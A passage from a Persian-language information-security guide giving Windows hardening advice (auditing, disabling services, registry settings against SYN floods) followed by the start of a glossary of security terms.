361  Internet Connection Filter 
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  محافظت از حسابهاي کاربري

كـاربران خـود را بـه    . كنند امروزي براي حسابهاي كاربري از رمزهاي عبور طولاني پشتيباني مي Windowsسيستمهاي مبتني بر    
تر تشويق كنيد، و الزامات پيچيدگي و تاريخ انقضا را براي رمزهـاي عبـور اجبـاري كنيـد تـا خطـر                    استفاده از رمزهاي عبور طولاني    

 هـستند رمزهـاي   Windows 2000هـاي  در سيستمهايي كه عضو دامنـه .  زدن رمزهاي عبور توسط مهاجمان كاهش يابدحدس
پس از چنـدبار تـلاش      (شدن حسابها   قابليت قفل . شوند مديريت مي  kerberosعبور در كنترلگر دامنه ذخيره و سپس به روش معمول           

شود هزينة بيشتري داشـته     عال كرد تا تلاشهايي كه براي حدس رمزهاي عبور انجام مي          توان ف را نيز مي  ) براي ورود با رمز عبور نادرست     
  . باشند

يـا  (توان در سياسـت امنيتـي محلـي         مميزي را مي  . فرض فعال نيست  ، مميزي امنيتي بطور پيش    Windowsدر بيشتر سيستمهاي    
راي نظارت بر تلاشهايي كه بـراي ورود بـه سيـستم انجـام     فعال كردن مميزي ورود به حسابها ب    . پيكربندي كرد ) سياست امنيتي دامنه  

ثبـت كـردن انـواع مختلفـي از         . مشاهده كـرد  " نمايشگر رخدادها "افزار  توان در نرم  شده را مي  رخدادهاي مميزي . شود مفيد است  مي
از طريق نمايـشگر    ( ديسك اختصاص دهيد     به ثبتها حجم كافي از    . تواند مفيد باشد  نيز مي ) مانند كاربرد ناموفق امتيازات   (رخدادهاي ناموفق   

  .، و دسترسي حساب كاربري مهمان به ثبتها را ببنديد)رخدادها

  ايمحافظت در برابر تهديدات برنامه

 Unixهـا در  daemon مثـل  Windowsخـدمات در  .  غالباً خدمات فعـال زيـادي دارنـد   Windows NTسيستمهاي مبتني بر 
در برخـي مـوارد ايـن خـدمات در كنـار ارائـه خـدمات        . گذارندها مي كه توابعي را در اختيار برنامهباشندزمينه ميهايي در پس  پردازه

يا فراخواني راه دور روالها، از طريق شبكه براي افراد بيروني امكان دسترسي به منـابع را نيـز فـراهم                     ) telnetمانند  (دسترسي راه دور    
هاي اخطاري را در ماشـينهاي محلـي بـاز          دهد پنجره نهاي راه دور امكان مي     به ماشي  Messengerبراي مثال سرويس    . آورندمي

  .ها مورد سوء استفاده قرار گرفته استكنند و امروز اين قابليت توسط نويسندگان هرزنامه

ا غيرفعـال  افزار مديريت رايانه، اطمينان حاصل كنيد كه تمام خدمات غيرضـروري متوقـف ي ـ        در نرم  Servicesبا استفاده از برنامه     
 و بـسياري  telnet ،remote registry accessتوان خدمات گذارند ميهايي كه فايل به اشتراك نميگيرندهدر سرويس. هستند

  .كاهش پيدا كنند) حتي اگر شده به قيمت مديريت متمركز(پذيري ديگر از خدمات دسترسي راه دور را غيرفعال كرد تا نقاط آسيب

امنيتي گروهي يا محلي، اطمينان حاصل كنيد كاربران گمنام بدون مجوزهاي صريح امكان دسترسي به منـابع                 با استفاده از سياست     
  ). قرار داردLocal Policies در بخش Security Options در قسمت Windows 2000اين تنظيمات در . (حياتي ندارند

  جلوگيري از حملات تخريب سرويس

  ها و حافظهپردازه
ها را به يكـي   نظارت كرد، به آنها پايان بخشيد، و يا اولويت پردازهWindowsهاي توان به پردازه ميTask Managerاز طريق 

از . تواند حافظة مصرفي هر پردازه را نمايش دهـد  همچنين ميTask Manager. تغيير داد" بلادرنگ"تا " پايين"از شش سطح، از 
روند، حملات سرريز حافظـه و پـردازه        هاي چندكاربره و اشتراك زماني بكار مي       به ندرت در محيط    Windowsآنجا كه سيستمهاي    

  . كشف و از حافظه بيرون انداخته شودTask Managerتواند از طريق شود كه ميمعمولاً بوسيلة يك برنامة آشكار انجام مي

  ديسكها
NTFS     داراي يك سيستم quota   ديسكها و   تواند براي جلوگيري از سرريز شدن        است كه ميpartition  اين ويژگـي   . ها بكار رود

ها معمولاً كاربري غير از راهبران سيستم ندارنـد  دهندهگيرنده مفيد است، چراكه سرويسنيز بيشتر براي ايستگاههاي كاري سرويس 
  .دهنده نيز معمولاً براي اجراشدن به امتيازات راهبري نياز دارندهاي سرويسو برنامه
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  شبكه
 داراي SYNاي ماننـد سـيل    براي جلوگيري از برخي انواع حملات تخريب سرويس شـبكه Windows NTتني بر سيستمهاي مب

تنظيماتي كه بايد بررسي    . باشندفرض فعال نمي   هستند؛ اما در بسياري موارد اين تنظيمات بطور پيش         registryتنظيمات زيادي در    
 قـرار دارنـد و      HKEY_LOCAL_MACHINE\CurrentControlSet\Services\Tcpip\Parameters\كنيد در مـسير     

 .TcpMaxHalfOpenRetried، و SynAttackProtect ،TcpMaxHalfOpenكليدهاي آنها عبارتند از 

" automatic detection and discovery"توان با غيرفعال كردن قابليت وقوع انواع ديگري از حملات تخريب سرويس را مي
ــرد   ــوار ك ــسيار دش ــه كليــدهاي          بــراي ج. ب ــد ب ــادي شــبكه باي ــرايط غيرع ــه ش ــب سيــستم ب ــنش عجي ــوگيري از واك ل

EnablePMTUDiscovery  ،EnableDeadGWDetect   و EnableICMPRedirects   همچنين واسطها را   .  داد ٠ مقدار
شـده را مـورد   بايد طوري تنظيم كرد كه بطور خودكار به جستجوي مسيرياب نپردازند و همواره مسيرهاي ايـستا و از پـيش تعريـف                    

  .استفاده قرار دهند
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  پيوستها
  

  نامه اصطلاحاتواژه  . ۱پيوست   
  كتابنامه  . ۲پيوست   
  منابع الكترونيكي  . ۳پيوست   
  ي امنيتيسازماا  . ۴پيوست   
  منابع چاپي  . ۵پيوست   
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   ۱پيوست 
  نامة اصطلاحات واژه

  ٣٦٢آزمون نفوذپذيري
 اعطـاي گـواهي بـه       يكي از بررسيهايي كه معمولاً قسمتي از      

كننـد بـا     پذيرد و طي آن ارزيابها تلاش مـي         سيستم انجام مي  
هاي مختلف    فريب دادن سيستم امنيتي، راههاي نفوذ به لايه       

  .منابع سيستم را كشف كنند

  ٣٦٣پذيريآسيب
سازي، يـا عملكـرد يـك       يك نقص يا ضعف در طراحي، پياده      

ي قـرار   بـردار تواند توسط مهاجمان مورد بهـره       سيستم كه مي  
  .بگيرد و منجر به نقض سياست امنيتي سيستم شود

  ٣٦٤ابزار جاسوسي
اي كه بوسيلة مهاجمان براي دزديدن رمزهاي عبـور و            برنامه

  .رود ها بكار مي ساير داده

  ٣٦٥)ISP( اينترنتي  دهندة خدماتارائه
اينترنـت    شركتي كه يك فـرد يـا سـازمان از طريـق آن بـه                

ها عـلاوه بـر فـراهم كـردن         ISPنوعاً  . كنددسترسي پيدا مي  
 اينترنت، خدمات پست الكترونيكي و ميزباني وب         دسترسي به 

ها همچنـين خـدمات ذخيـرة       ISPبرخي  .  دهد  را نيز ارائه مي   
  . كنند ها در خارج از اداره و خدمات پشتيباني نيز ارائه مي داده

  ٣٦٦ارزيابي وابسته به حالت
ــزه ــا آمي ــال و غproxyاي از فناوريهــاي  روشــي ب ســازي رب

  .متناوب، بسته به تهديدهاي موجود و يا نياز به سرعت در كار

                                                                  
362 Penetration Test 
363 Vulnerability 
364 Snooping Tool 
365 Internet Service Provider 
366 Stateful Evaluation 

  ٣٦٧اسبهاي تراوا
اي كه بنظر عملكرد مفيـد و مـشروعي دارد،            يك برنامة رايانه  

اما حـاوي يـك عملكـرد مخفـي و احتمـالاً بدخواهانـه نيـز                
بـرداري از سيـستمي كـه روي آن         باشد كه گاهي با بهـره       مي

واند مكانيزمهاي امنيتـي را پـشت       نصب است، ممكن است بت    
  .سر بگذارد

  ٣٦٨)DES(ها  استاندارد رمزگذاري داده
 سـاخته شـده و   EMBيك استاندارد رمزگـذاري كـه توسـط       

سپس بوسيلة مؤسـسة ملـي اسـتانداردها بررسـي و در سـال              
 سال گذشته در    ۲۰ كه در    DESاستاندارد  .   انتخاب شد  ۱۹۷۷

اده بـوده، امتحـان      مورد استف   هر دو بخش دولتي و خصوصي     
  . خود را بخوبي پس داده است

  ٣٦٩سمع تلفنياستراق
ها و ساير اطلاعات موجـود در يـك           تهاجمي كه طي آن داده    

اين اصطلاح  . شودخط سيستم ارتباطي از ميان راه دزديده مي       
در اصل براي ارتباط مكانيكي به يك رساناي الكتريكي بكـار    

لاعات از هر واسطي كـه      اكنون به خواندن اط     رفته، اما هم    مي
حتي دسـتيابي   (گيرد    براي برقراري ارتباط مورد استفاده قرار مي      

) ٣٧١سـوئيچ  و يـا     ٣٧٠دروازهبه اطلاعات بطور مستقيم از طريق يك گـره،          
  .شود اطلاق مي

  ٣٧٢امتياز حداقل
اي كه با حداقل امتيازات دسترسي      طراحي يك سيستم بگونه   

شـده بـراي انجـام      اين طراحي، سطح اعتبار تصديق    . كار كند 
دهد، و احتمال اينكه عملكرد     فعاليتهاي مختلف را كاهش مي    

يك كاربر با حقوق دسترسي بالا منجر به فعاليتهاي غيرمجاز          
  .آوردو درنتيجه رخنة امنيتي شود را پايين مي

  ٣٧٣امضاي معتبر
توانـد  يك امضا، خصوصاً يك امضاي ديجيتالي، كه چون مي        

  .توان به آن اعتماد كرد ار گيرد، ميمورد شناسايي و تأييد قر

                                                                  
367 Trojan Horses 
368 Data Encryption Standard 
369 Wiretapping 
370 Gateway 
371 Switch 
372 Least Privilege 
373 Authentic Signature 
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 ٤٥٦  راهنماي امنيت فناوري اطلاعات

ــارايي    ــات عملكــرد و ك ــاريف و الزام ــورد تع اطلاعــات در م
  :شود در سند زير يافت مي802.11

http://grouper.ieee.org/groups/802/11/Docu
ments/DocumentArchives/1992-
docs/1192091.DOC 

  ٣٧٤امنيت بر پاية محيط
ترسي به تمـام نقـاط      فني براي حفاظت از شبكه با كنترل دس       

  .ورودي و خروجي موجود در آن

  اينترنت
هاي متفاوت و در ارتبـاط متقابـل كـه            يك مجموعه از شبكه   

.   بوجـود آمـده اسـت       توسط نهادهاي مختلف تجاري و دولتي     
ــشه ــال  ري ــل س ــت در اواي ــاي اينترن ــه - ۱۹۶۹ه  هنگاميك

ARPANET  بوجود آمـد   -   شكل گرفت  .ARPA   علامـت 
 اسـت كـه   ٣٧٥هاي تحقيقاتي پيشرفته    ن پروژه سازمااختصاري  

يكي از  . شدايالات متحده محسوب مي     بخشي از وزارت دفاع     
شدة  تحقيق در مورد سيستمهاي توزيع      ARPANETاهداف  
اولـين پيكربنـديِ    .  بود  مي  اي براي كاربرد در اهداف نظا       رايانه

 رايانه بود و به اين منظور به طراحي در آمده           ۴آن متشكل از    
هاي پراكنـده در   توان با استفاده از رايانه    ود كه نشان دهد مي    ب

هاي بـاز     گسترش شبكه . يك منطقة وسيع، شبكه بوجود آورد     
.  نيازمند مدل جديـدي از ارتباطـات بـود         ۱۹۸۰در اواخر دهة    

ادغام انواع مختلف سيستمها در محيطهاي مختلط، بـه يـك           
 انحـصاري   عاملها و يك راهكار غيـر     مبدل بهتر ميان سيستم   

پروتكـل  ( TCP/IPپروتكـل  . ها نياز داشت براي ساخت شبكه  
 براي اين منظور در آنزمان      ٣٧٦)پروتكل اينترنـت  /ارتباطات مخابراتي 

  .حل را ارائه داد بهترين راه

  ٣٧٧بمب منطقي
بمـب  . شـود افزار مي   اي كه توسط يك مهاجم وارد نرم        برنامه

شده، تعريفمنطقي تا پيش از رويارويي با يك شرايط ازپيش          
ماند، و پس از آن يك عمل غيرمجاز را انجـام             نهفته باقي مي  

  .دهدمي
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  ٣٧٨بمب پست الكترونيكي
اي كه اگر به اجرا در آيد، پيامهـاي فراوانـي بـه آدرسِ              برنامه
دهنـدة   تا ديسك را پر كند و يـا سـرويس           فرستد  شده مي داده

  .پست الكترونيكي يا وب را از كار بياندازد

  ٣٧٩تپردازش ثب
شده، شده، بررسي ثبتهاي انجام   سازي وقايع ثبت    روال خلاصه 

  .و يا جستجو بدنبال وقايع كليدي

  ٣٨٠پروتكل
  .ايهريك از روشهاي مورد توافق عمومي در ارتباطات رايانه

  )WEP(سيم  پروتكل معادل بي
 طراحي  WLANهاي  سازي در شبكه  اين پروتكل براي پياده   

  هاي سيمي را  ت امنيتي شبكه  شده بود تا شده بود تا خصوصيا      
ويژگيهايي چون محرمانگي، كنترل دسترسي، و يكپارچگي (بوجود آورد 

، ولي به دليل آشكار شدن يـك نقـص امنيتـي در آن،              ) ها  داده
  .شودكاربرد آن معمولاً با تدابير ويژة ديگري همراه مي

  ٣٨١پست الكترونيكي
سـط هـر    هاي پستي؛ كه ممكن اسـت تو      اي نامه   معادل رايانه 

 فرسـتاده و يـا دريافـت         اينترنت متصل اسـت     شخصي كه به    
هاي الكترونيكي متـشكل    اينترنت، تمام نامه    نظر  از نقطه .  شود

  .هستند) ASCII (٣٨٢متون چاپياز 

  ٣٨٣پهناي باند
اي شبكه كـه غالبـاً بـراي انتقـالات          ظرفيت يك اتصال داده   

گيـري  زه انـدا  ٣٨٤ )kbps (هزار بيت در ثانيـه    ديجيتالي با واحد    
  .شود مي

  ٣٨٥ تأييد اعتبار
فرآيند احراز ميزان حق دسترسي قانوني و مشروع يك كاربر،          
  پردازه يا برنامه، طبق آنچه كه در سياستهاي امنيتـي شـركت         

معمولاً تأييد اعتبار پس از تـصديق هويـت كـاربر           . وجود دارد 
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توان به كاربر سطوح مختلفـي      شود، و پس از آن مي     انجام مي 
  .سي را اعطا كرداز دستر

  ٣٨٦تأييد اعتبار دسترسي
هـاي    ايـستگاه   ها و     مجوز فرآيندي كه طي آن كاربران، برنامه      

  .گيردكاري براي دسترسي مورد بررسي و تأييد قرار مي

  ٣٨٧تابلوي اعلانات
 اينترنـت   يك محيط براي تعامـل دانـش كـه در آن كـاربران     
واننـد، و   قادرند پيام بنويـسند، پيامهـاي سـاير كـاربران را بخ           

  .تبادل برنامه يا فايل انجام دهند

  ٣٨٨تحليل مخاطره
پـذيريهاي  ارزيابي منابع اطلاعاتي، كنترلهاي موجود، و آسيب      

تحليـل مخـاطره يـك      .  يـك سـازمان     اي  سيستمهاي رايانـه  
دهــد و تخمــين از ارزش مــالي آســيبهاي وارده بدســت مــي

  .سازد كنترلهاي لازم براي بهبود را مشخص مي

  ٣٨٩ويستخريب سر
هـاي متـصل بـه    دهد كه رايانـه   نوعي حمله كه زماني رخ مي     

شـوند،  مصرف بسيار زيادي بمباران مي    اينترنت با پيامهاي بي   
اي كه تمام وقت و توان خود را صـرف پاسـخ بـه ايـن                بگونه

كنند و درنتيجه درخواستهاي كاربران واقعي مجـال        پيامها مي 
  .نماينددريافت پاسخ پيدا نمي

  ٣٩٠تسخير
ض سياستهاي امنيتي يك شركت توسط يك مهـاجم كـه           نق
  . تواند منجر به تغيير، تخريب، و يا سرقت اطلاعات شودمي

  ٣٩١تصديق هويت
فرآيند احراز حق قانوني و مشروع براي يك سرويس يا كاربر           
پيش از حق دسترسيِ آن به اطلاعاتي كـه درخواسـت كـرده             

بـراي  (ساب  طي اين فرآيند، كاربر يك نام يا شـمارة ح ـ         . است
بعنوان يـك نـشان بـراي       (و يك رمز عبور     ) شناسايي و معرفي هويت   

  .كندوارد مي) اثبات هويت خود
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  ٣٩٢تصديق هويت دو عاملي
مبناي تصديق هويت دو عاملي آن چيـزي اسـت كـه كـاربر              

بعلاوة چيزي كه كاربر آنـرا در اختيـار دارد          ) عامل اول (داند    مي
كه، كـاربر بايـد هـر دو        براي دسترسي به يك شب    ). عامل دوم (

عامل را بر آورد، همانطور كه هنگام استفاده از يـك دسـتگاه             
خودپرداز بايد كـارت مخـصوص آنـرا داشـته باشـد و شـمارة            

كـاربران بـراي    .  خود را نيز وارد كند    ) PIN(شناسايي شخصي   
اينكه در طول فرآيند پرسش و پاسخ تـصديق هويـت شـوند،             

  . داشته باشندبايد اين اطلاعات محرمانه را 

  ٣٩٣تصوير آني
حافظـة اصـلي،     ( يك نسخه از مقادير مختلف حافظة يك رايانه       

تواند   تصوير آني مي  . در يك زمان مشخص   ) ...ثباتهاي خاص، و    
با ضبط اطلاعاتي كه معمـولاً قبـل از تكميـل حملـه توسـط          

  .شود، جهت شناسايي مهاجمان بكار رودمهاجم پاك مي

  ٣٩٤تهاجم
دار كردن امنيت سيـستم ؛ تـلاش عمـدي    تلاش براي خدشه 

براي تخريب خدمات حفاظتي و نقض سياستهاي امنيتي يك         
  . سيستم

  ٣٩٥تهديد
دار كـردن يكپـارچگي و صـحت،    هر چيزي كه توانايي خدشه    

  .ها را داشته باشد محرمانگي، و در دسترس بودن داده

  ٣٩٦)CERT(اي  تيم واكنش به فوريتهاي رايانه
كـرم   و بعد از حملة يـك        ٣٩٧رني ملون كااين تيم در دانشگاه     

  .  ايجاد شد۱۹۸۸ در سال  ٣٩٨اينترنتي

  ٣٩٩ثبت
ذخيرة اطلاعات در مورد وقايعي كه بعنوان مثال روي ديـوارة           

  . شوند  واقع مي آتش يا شبكه
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 ٤٥٨  راهنماي امنيت فناوري اطلاعات

  ٤٠٠كليدكنندة صفحهثبت
شود را ذخيره     كليد تايپ مي  اي كه هرآنچه روي صفحه      برنامه
ند روي ديـسك نوشـته و يـا از          توان  اين اطلاعات مي  . كند  مي

اگـر روي يـك     .  اينترنت براي شخـصي ارسـال شـوند         طريق
كليد نـصب باشـد، هرچـه وارد        كنندة صفحه رايانه برنامة ثبت  

 ذخيـره   - از جمله نامهاي كاربر و رمزهاي عبور         -رايانه شود   
شود؛ درست مثل زمانيكه هنگـام اسـتفادة شـما از رايانـه،         مي

  .كليد را زير داشته باشدتان صفحهيكنفر از بالاي شانة

  ٤٠١اي جرائم رايانه
هر نوع فعاليت غيرقانوني مرتبط بـا اطلاعـات الكترونيكـي و            

  .اي تجهيزات رايانه

  ٤٠٢حريم خصوصي
هــا توســط گروههــاي  حفاظـت يــك شــركت از افــشاي داده 

توانـد سـطحي از       تدابير امنيتي مثل رمزگذاري مـي     . غيرمجاز
اظـت از اسـرار محرمانـة حـريم         اطمينان خاطر مبنـي بـر حف      

  .خصوصي در مقابل افشا را ايجاد كند

  ٤٠٣حملات برگرفته از اطلاعات
ضـرر    هـاي ظـاهراً بـي       صورتي از حملـه كـه بـه شـكل داده          

افزار حمله را     شود و بوسيلة يك كاربر يا يك نرم       كدگذاري مي 
حملات برگرفته از اطلاعات يك مسئله جدي  . گرددانجام مي 

شـده هـستند؛ چراكـه ممكـن        مهاي حفاظت حتي براي سيست  
هاي آتش برسند و حملاتي عليه      است در قالب داده به ديواره     

  .هاي آتش شروع كنندسيستمهاي پشت ديواره

  ٤٠٤ عنصر داخلي حملة
  .شود اي كه از درون يك شبكه حفاظت شده ناشي مي حمله

  ٤٠٥درب مخفي
روشي براي بلاموضوع كردن روال ورود بـه سيـستم بدسـت            

اگر .  تن كنترل رايانه بدون نياز به كسب رضايت مالك آن      گرف
درب مخفي روي يك رايانة متصل به شبكه نصب شده باشد،      

اينترنت بتواند بـدون تأييـد        ممكن است شخصي با استفاده از       

                                                                  
400 Keyboard Logger 
401 Computer Crime 
402 Privacy 
403 Data-Driven Attacks 
404 Insider Attack 
405 Backdoor 

درب مخفي  .  يا آگاهي شما كنترل آن رايانه را در دست بگيرد         
ــات در    ــاهي اوق ــال گ ــوان مث ــست؛ بعن ــشه مخــرب ني  همي

عاملها حسابهاي كـاربري مخـصوصي وجـود دارد تـا             سيستم
تكنيسينهاي بخش پشتيباني بتوانند خدمات پشتيباني را از راه         

امـا در عـين حـال ايـن حـسابهاي كـاربري            . دور انجام دهند  
. ممكن است براي تهاجم توسط افراد غيرمجاز نيز بكار رونـد          

  .ودش نيز شناخته مي" trap door"عنوان  درب مخفي با 

  ٤٠٦در دسترس بودن
توان از يك سيستم بـراي فعاليتهـاي    درصدي از زمان كه مي  

  .مختلف استفاده كرد

  ٤٠٧دروازه
  .يك پل ارتباطي ميان دو شبكه

  ٤٠٨دسترسي
در شرايطي كه امكان دستيابي به رايانـه وجـود دارد توانـايي             
ورود به محدودة امنيتي، خواندن، نوشتن، اصلاح كـردن و يـا            

اي را دسترسـي       يـك از منـابع سيـستم رايانـه         استفاده از هـر   
  . ناميم مي

  ٤٠٩دسترسي از راه دور
اي راه دور از طريق خطـوط ارتبـاطي      كنترل يك وسيلة رايانه   

  .هاي گسترده مثل تلفن معمولي يا شبكه

  ٤١٠دفاع در عمق
يك راهكار امنيتي كه در آن هر سيستم شبكه به نوبة خود تا             

  .شود ايمن مي آخرين حد ممكن

  ٤١١يوارة آتشد
ها و    يك سيستم حفاظتي كه جريان ترافيك ورودي به شبكه        

هـاي آتـش    بـراي ديـواره   .  كنـد   گاهي ميان آنها را كنترل مي     
هــا، صــافي:  پيكربنــديها و كاربردهــاي مختلفــي وجــود دارد

هـاي كـاربردي، رمزگـذاري، ايجـاد        هاي برنامـه  كنندهتقويت
هـاي   ديـواره . به، و ساير موارد مـشا     )DMZ(منطقة غيرنظامي   

تواند يك برنامة   ديوارة آتش مي  : آتش به دو شكل وجود دارند     
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آيد، و يا ممكـن     افزاري باشد كه روي رايانه به اجرا در مي          نرم
افزاري باشد كه بـر اطلاعـات         است يك قطعة مجزاي سخت    

.  كنـد   شود نظارت مـي   آنچه روي شبكه فرستاده و دريافت مي      
باطات ميان شما و دنياي خـارج را        هاي آتش قادرند ارت   ديواره

نشده بيني و يا از انتقالات پيش      تحت كنترل خود داشته باشند،    
  .يا غيرمجاز جلوگيري كنند

  ٤١٢ديوارة آتش در سطح شبكه
هـاي پروتكـلِ      ديوارة آتشي كه در آن ترافيك در سطح بسته        

  .شوندشبكه بررسي مي

  ٤١٣رمزشكن رمز عبور
هنگهاي لغات كامل كه سـعي      افزاري شامل فر    يك برنامة نرم  

  .در يافتن رمزهاي عبور كاربران دارد

  ٤١٤رمز عبور
يا شايد بهتر باشد بگوييم به هر نام (يك كد مخفي كه به هر كاربر      

. شود و سيـستم از آن مطلـع اسـت    اختصاص داده مي ) كاربري
دانستن شناسة كاربري و رمز عبور معمولاً به تصديق هويـت           

  .شودسترسي به منابع سيستم منجر ميو تأييد اعتبار براي د

  ٤١٥رمزگذاري
ها و تغييـر يـك        فرآيند پنهان كردن محتويات فايلها و برنامه      

رشته از حروف به يك رشتة ديگر با استفاده از يك الگـوريتم             
رمزگـذاري راهـي اسـت بـراي اختفـاي         ). DESمثل الگـوريتم    (

ــه ــشود، مگــر توســط  اطلاعــات بگون ــده ن ــسادگي خوان اي ب
ترين نوع رمزگذاري، يـك     در ساده .  كنندگان مورد نظر    تدرياف

وجود دارد كه بـراي اختفـاي اطلاعـات از آن اسـتفاده          " كليد"
شـده تنهـا پـس از رمزگـشايي         اطلاعات رمزگـذاري  . شودمي
توانند خوانده شوند، و براي رمزگشايي نيـز دانـستن كليـد              مي

  .صحيح ضروري است

  ٤١٦رمزگذاري انتها به انتها
ري در نقطة آغـازين پيـام در شـبكه، و بـه دنبـال آن                رمزگذا

  .رمزگشايي در مقصد
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  ٤١٧رمزگشايي
تبديل متون رمزشده به متون سادة اوليه بـا اسـتفاده از يـك              

  .الگوريتم براي رمزگذاري و رمزگشايي متقابل

  ٤١٨رمزنگاري
يك شاخه از علم رياضي كه با تغيير شـكل اطلاعـات بـراي              

ن، جلوگيري از تغييرات مخفيانـة       آ  پنهان كردن معنا و مفهوم    
اگـر  . داده، و ممانعت از كـاربرد غيرمجـاز آن سـر و كـار دارد      

پـذير باشـد، رمزنگـاري شـامل تبـديل          تغيير شـكل برگـشت    
  .شودشده به شكل اصلي خود نيز مياطلاعات رمزگذاري

  ٤١٩روالهاي امنيتي
هـاي    هـا، و توصـيه    اي از دسـتورالعملها، پيكربنـدي       مجموعه
  . سازي سياستهاي امنيتي يك شركتراي پيادهمشروح ب

  ٤٢٠روالهاي واكنش به رخداد
 و مكتوب كه گامهاي لازم هنگام وقوع يـك            روالهاي رسمي 

تهيـه  .  دهد رخداد امنيتي جدي مثل ورود غيرمجاز را شرح مي      
جزئيات روالهاي واكنش پيش از وقوع يك رخـداد، مشخـصة       

  .ستاصلي يك سيستم امنيتي با طراحي خوب ا

  buffer٤٢١سرريزي 
هـا    دهد كه برنامه داده   افزاري كه زماني رخ مي      يك نقص نرم  

برد، امـا در آن قـسمت از حافظـه          را به فضايي در حافظه مي     
برنامه ممكن  . ها وجود ندارد    فضاي كافي براي ذخيرة آن داده     

ها تازه، كاراكترهايي      ايجاد فضاي خالي جهت داده      است براي 
تواند همة انـواع مـشكلات را بـه بـار             ر مي اينكا. را حذف كند  

شود كه امنيـت برنامـه را         آورد و معمولاً به اتفاقاتي منجر مي      
توان پيش از انتقال هر داده به حافظـه         مي. كننددار مي خدشه

يك بررسي ساده براي اطمينان از وجود حافظة كـافي انجـام            
  . پيشگيري كردbufferداد و بدين ترتيب از وقوع سرريزي 

  ٤٢٢سرقت هويت
گيرد كه شخصي اطلاعات كـافي در مـورد           زماني صورت مي  

آوري كرده باشد و بتوانـد بـراي اشـخاص حقـوقي              شما جمع 

                                                                  
417 Decrypt 
418 Cryptography 
419 Security Procedures 
420 Incident Response Procedures 
421 Buffer Overflow 
422 Identity Theft 
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 ٤٦٠  راهنماي امنيت فناوري اطلاعات

همچون بانكها، فروشگاهها يا دولت، خود را به جاي شما جـا            
  .بزند

  ٤٢٣دهندهسرويس
بصورت عام عبارت است از رايانة كنترلگر شبكة محلـي، كـه            

يـستگاههاي كـاري، چاپگرهـا و سـاير         ا  افزار به     دسترسي نرم 
  .  را تحت كنترل دارد بخشهاي شبكه

  ٤٢٤گيرندهسرويس
هايي كـه بـه يـك       بصورت عام عبارت است از رايانه يا رايانه       

دهنده در خصوص دريافت يك سـرويس درخواسـت         سرويس
  .دهددهنده پاسخ مقتضي به آنها ميفرستند و سرويسمي

  ٤٢٥سلسلة مميزي
كنـد  از وقايعي كه راهبر امنيتي را قادر مي       اي مستند   مجموعه

) روي كاغذ يا روي ديسك    (كه بتواند فعاليتهاي گذشتة سيستم را       
ــه، زمــان ورود  . بازســازي كنــد در سيــستمهاي امنيتــي رايان

زماني كه مشغول فعاليتهاي مختلـف  كاربران به سيستم، مدت  
ز دهند، و اينكه آيا تخلف تعمدي ا      هستند، كاري كه انجام مي    

سياستهاي امنيتي اتفاق افتاده يا نه، بترتيب زمـان وقـوع بـه             
  .رسندثبت مي

  ٤٢٦)GSM(سيستم جهاني ارتباطات سيار 
يك سيستم باز و غير انحـصاري اسـت كـه پيوسـته درحـال               

 امكان دسترسي به ايـن      GSMگردش ماهوارة   . تكامل است 
  سرويس مناطقي كه از طريق در پوشش زميني ممكن نيست         

  . آورده استرا فراهم

  ٤٢٧)OS(عامل  سيستم
افزار سيستمي كه رايانـه و دسـتگاههاي جـانبي آنـرا            يك نرم 

، Unix  ،Linuxعاملهاي جديدتر مثل      سيستم.  كند  كنترل مي 
ها را اي رايانه بسياري از عملكردهاي پايهWindows XPو 

  .دهندنيز انجام مي

                                                                  
423 Server 
424 Client 
425 Audit Trail 
426 Global System for Mobile Communication 
427 Operating System 

  ٤٢٨)GPS(سيستم مكانيابي جهاني 
اي، ايـن سيـستم مـاهواره       .  رود  كـار مـي   عمدتاً براي ناوبري ب   

  . سازد محل دقيق مشتركان روي كرة زمين را مشخص مي

  ٤٢٩)IDS(ياب سيستم مهاجم
ها يا تلاشـهايي كـه بـراي رخنـه      كه به يافتن رخنه    سيستمي

ــي ــتفاده از   صــورت م ــا اس ــده، و ب ــصاص داده ش ــرد اخت گي
شـبكه  افزارهاي تحليلگر كه روي ثبتها يا ساير اطلاعـات           نرم

  .نمايدكنند عمل ميكار مي

  ٤٣٠سياست
ضوابطي كه در سطح سازمان براي استفادة معقـول از منـابع            

  . اي، راهكارهاي امنيتي، و روالهاي عملياتي حاكم استرايانه

  ٤٣١شبكة خارجي
عبارت است از توسعة شبكة محلي از طريق دسترسي دور يـا            

ــه  ــي بگون  ــ اينترنت ــازمان مث ــارج از س ــركاي خ ــه ش ل اي ك
چنـين  .  را نيز در بر بگيـرد       كنندگان و خريداران معمول     عرضه

شدة بخـشهاي مجـاز     روابطي بايد از طريق ارتباطات تصديق     
 انجام شوند و هر از چندگاه نيز براي حفظ حريم            شبكة محلي 

  .خصوصي رمزگذاري گردند

  ٤٣٢)VPN(شبكة خصوصي مجازي 
هـاي    يك اتصال خصوصي ميـان دو ماشـين اسـت كـه داده            

فناوري . كندرافيكي خصوصي را از طريق اينترنت ارسال مي       ت
VPN    اينترنـت    كند كـه بتوانـد از طريـق          سازمان را قادر مي

اي خود را بطور محرمانـه بـه كـاربران راه دور،              خدمات شبكه 
  .دفاتر شعب، و شركتهاي همكار برساند

  ٤٣٣)LAN(شبكة محلي 
.  جـانبي هـا و ابزارهـاي      هـم متـصل از رايانـه      يك سيستم به  

كاربران شبكة محلي، اطلاعات يكـديگر و قابليـت ابزارهـاي           
توانند از چاپگرهـاي     مثلاً مي  -گذارند  اشتراك مي جانبي را به  

  .متصل به شبكه بصورت اشتراكي استفاده كنند

                                                                  
428 Global Positioning System 
429 Intrusion Detection System 
430 Policy 
431 Extranet 
432 Virtual Private Network 
433 Local Area Network 
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  )WLAN(سيم  شبكة محلي بي
هاي كيفي يـا سـاير        سيم كه براي اتصال رايانه      يك شبكة بي  

  .ها كاربرد داردكهابزارهاي سيار به شب

  ٤٣٤)PIN(شمارة هويت شخصي 
يك رشته از اعداد يا حروف كه بـراي تـصديق هويـت يـك               

شمارة هويت  . رود  كاربر براي يك سيستم يا سرويس بكار مي       
شخصي مشابه رمز عبور است اما عموماً مربوط بـه معـاملات    

يا دسترسي فيزيكي به ) حسابهاي بانكي يا كارتهاي اعتبـاري   (مالي  
  .باشد  مكان مييك

  ٤٣٥شناسايي
  .شناخت كاربران يك سيستم از طريق نامهاي كاربري يكتا

  ٤٣٦شناسايي كاربر
فرآيندي كه كاربر توسط آن خود را بعنوان يك كـاربر معتبـر             

  شناسايي كاربر بـا تـصديق هويـت        . كندبه سيستم معرفي مي   
شود كاربر همان كسي اسـت كـه         كه طي آن مشخص مي     -

